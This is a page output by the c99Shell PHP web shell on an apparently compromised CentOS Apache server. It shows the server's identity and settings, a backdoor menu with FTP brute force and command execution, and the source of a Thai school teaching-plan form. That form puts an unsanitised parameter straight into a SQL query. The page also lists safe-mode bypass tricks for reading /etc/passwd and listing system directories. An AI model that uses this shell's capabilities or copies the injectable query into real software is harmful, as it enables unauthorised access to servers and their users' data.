!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage/person/   drwxr-xr-x
Free 51.01 GB of 127.8 GB (39.91%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     AddPlanFiletex.php (6.47 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

include("../include/FunctionDB.php");
include(
"../include/Function.php");

 
ConnectDB();
 
$sql ="SELECT * FROM   tech_plan_tb  WHERE  Plan_code='$Plan_code'";
  
$result mysql_query($sql) or die("Cannot Select").mysql_error();
  
$rs mysql_fetch_array($result);

?>
<head>
<title>เพิ่มข้อมูลแผนการสอนรายบท</title>
<meta http-equiv="Content-Type" content="text/html; charset=TIS-620">
<link href="../css/default.css" rel="stylesheet" type="text/css" />
<script language="javascript" src="../js/utilities.js"></script>
<script language="javascript" src="../js/calendarDateInput2.js"></script>
<script language="javascript" src="../js/ajaxScript.js"></script>
<script language="JavaScript" type="text/JavaScript">
function browse()
{
    pc.Filetex.src = pc.Filetex.value;
}
</script>
</head>
<table width="693" border="0" align="center" cellpadding="0" cellspacing="0">
    <tr>
        <td width="693">
          <fieldset>
              <form action="InsertPlantexSave.php" method="post" enctype="multipart/form-data" name="pc" id="pc" onsubmit="return validateAddPlanFileTextForm()">
                <table width="99%" border="0" align="center" cellpadding="0" cellspacing="2" bgcolor="#CCCCCC" style=" border:0px solid gray"size="12">
                  <tr bgcolor="#BFD0E6">
                    <td height="24" colspan="3" align="center" bgcolor="#FFFFFF"><font color="#000000" face="Tahoma"><strong>เพิ่มข้อมูลแผนการสอนรายบท</strong></font></td>
                  </tr>
                  <tr bgcolor="#eeeeee">
                    <td width="26%" align="right" bordercolor="#CCCCCC" bgcolor="#FFFFFF"><span class="style1"><font face="Tahoma">แผนการสอนบท/หัวข้อที่</font></a></span></td>
                    <td width="2%" bordercolor="#FFFFCC" bgcolor="#FFFFFF">*</td>
                    <td width="72%" bordercolor="#FFFFCC" bgcolor="#FFFFFF">
                      <input name="Filename" type="text" id="Filename3" value="แผนการสอนบทที่ " size="40" />
                    </td>
                  </tr>
                  <tr bgcolor="#eeeeee">
                    <td align="right" bordercolor="#CCCCCC" bgcolor="#FFFFFF">เรื่อง/หัวข้อ ที่สอน</td>
                    <td bordercolor="#FFFFCC" bgcolor="#FFFFFF">&nbsp;</td>
                    <td bordercolor="#FFFFCC" bgcolor="#FFFFFF"><textarea name="Plan_title" cols="60" id="Plan_title"></textarea>
                    </td>
                  </tr>
                  <tr bgcolor="#eeeeee">
                    <td align="right" bordercolor="#CCCCCC" bgcolor="#FFFFFF">กิจกรรมการเรียนการสอน</td>
                    <td bordercolor="#FFFFCC" bgcolor="#FFFFFF">&nbsp;</td>
                    <td bordercolor="#FFFFCC" bgcolor="#FFFFFF"><textarea name="Plan_atty" cols="60" id="Plan_atty"></textarea></td>
                  </tr>
                  <tr bgcolor="#eeeeee">
                    <td align="right" bordercolor="#CCCCCC" bgcolor="#FFFFFF">พฤติกรรมการเรียนรู้</td>
                    <td bordercolor="#FFFFCC" bgcolor="#FFFFFF">&nbsp;</td>
                    <td bordercolor="#FFFFCC" bgcolor="#FFFFFF"><textarea name="Plan_resou" cols="60" id="Plan_resou"></textarea>
                    
                    </td>
                  </tr>
                  <tr bgcolor="#eeeeee">
                    <td align="right" bordercolor="#CCCCCC" bgcolor="#FFFFFF">วิธีวัดและการประเมินผล</td>
                    <td bordercolor="#FFFFCC" bgcolor="#FFFFFF">&nbsp;</td>
                    <td bordercolor="#FFFFCC" bgcolor="#FFFFFF"><textarea name="Plan_stiti" cols="60" id="Plan_stiti"></textarea>
                    
                    </td>
                  </tr>
                  <tr bgcolor="#eeeeee">
                    <td align="right" bordercolor="#CCCCCC" bgcolor="#FFFFFF">วันที่สอน</td>
                    <td bordercolor="#FFFFCC" bgcolor="#FFFFFF">&nbsp;</td>
                    <td bordercolor="#FFFFCC" bgcolor="#FFFFFF">
                        <script>DateInput('mDate', true, 'DD/MM/YYYY','<?=date("d/m/Y");?>');</script>
                    </td>
                  </tr>
                  <tr bgcolor="#eeeeee">
                    <td align="right" bordercolor="#CCCCCC" bgcolor="#FFFFFF">จำนวนชั่วโมงที่สอน</td>
                    <td bordercolor="#FFFFCC" bgcolor="#FFFFFF">&nbsp;</td>
                    <td bordercolor="#FFFFCC" bgcolor="#FFFFFF"><input name="Total_now" type="text" id="Total_now" size="5" maxlength="4"/>
                      เวลา 
                    <input name="Total_time" type="text" id="Total_time" size="10"/></td>
                  </tr>
                  <tr bordercolor="#99CCFF" bgcolor="#86ade2">
                    <td align="right" bgcolor="#FFFFFF"><font face="Tahoma">เอกสารประกอบการสอน</font></td>
                    <td bgcolor="#FFFFFF">&nbsp;</td>
                    <td bgcolor="#FFFFFF"><table width="78%" border="0" cellpadding="0" cellspacing="1" class="style1">
                        <tr>
                          <td width="74%" align="left"><div align="left">
                              <input name="Filetex" type="file" id="Filetex" onchange="browse()" size="20" />
                          </div></td>
                          <td width="26%">&nbsp;</td>
                      </tr>
                    </table></td>
                  </tr>
                  <tr bgcolor="#BFD0E6">
                    <td height="16" colspan="3" bgcolor="#FFFFFF">&nbsp;</td>
                  </tr>
                  <tr bgcolor="#BFD0E6">
                    <td height="28" colspan="3" bgcolor="#FFFFFF"><div align="center">
                      <div align="center">
                          <a href="#"></a>
                          <input type="submit" name="Submit" value=" บันทึกข้อมูล" class="button" style="cursor:pointer" title="คลิ๊กที่นี่เพื่อบันทึกข้อมูล"/>&nbsp;&nbsp;
                          <input type="reset" name="Submit" value=" เคลียร์ข้อมูล" class="button" id="Submit" style="cursor:pointer"/> 
                          <input type="button" name="Submit2" value="ปิดหน้าต่าง" onclick="javascript:parent.close();" class="CURSOR-HAND" id="Submit2" style="cursor:pointer"/>
                          <font color="#006633" size="2" face="Tahoma">
                          <input name="Plan_code" type="hidden" id="Recode" value="<? echo $rs[Plan_code]?>" />
                        </font></div>
                    </div></td>
                  </tr>
                </table>
              </form>
        </fieldset>
        <font color="<?php echo $GLOBALS["COLOR_FONT_3"];?>" size="2">
      </font></td>
    </tr>
</table>


:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0149 ]--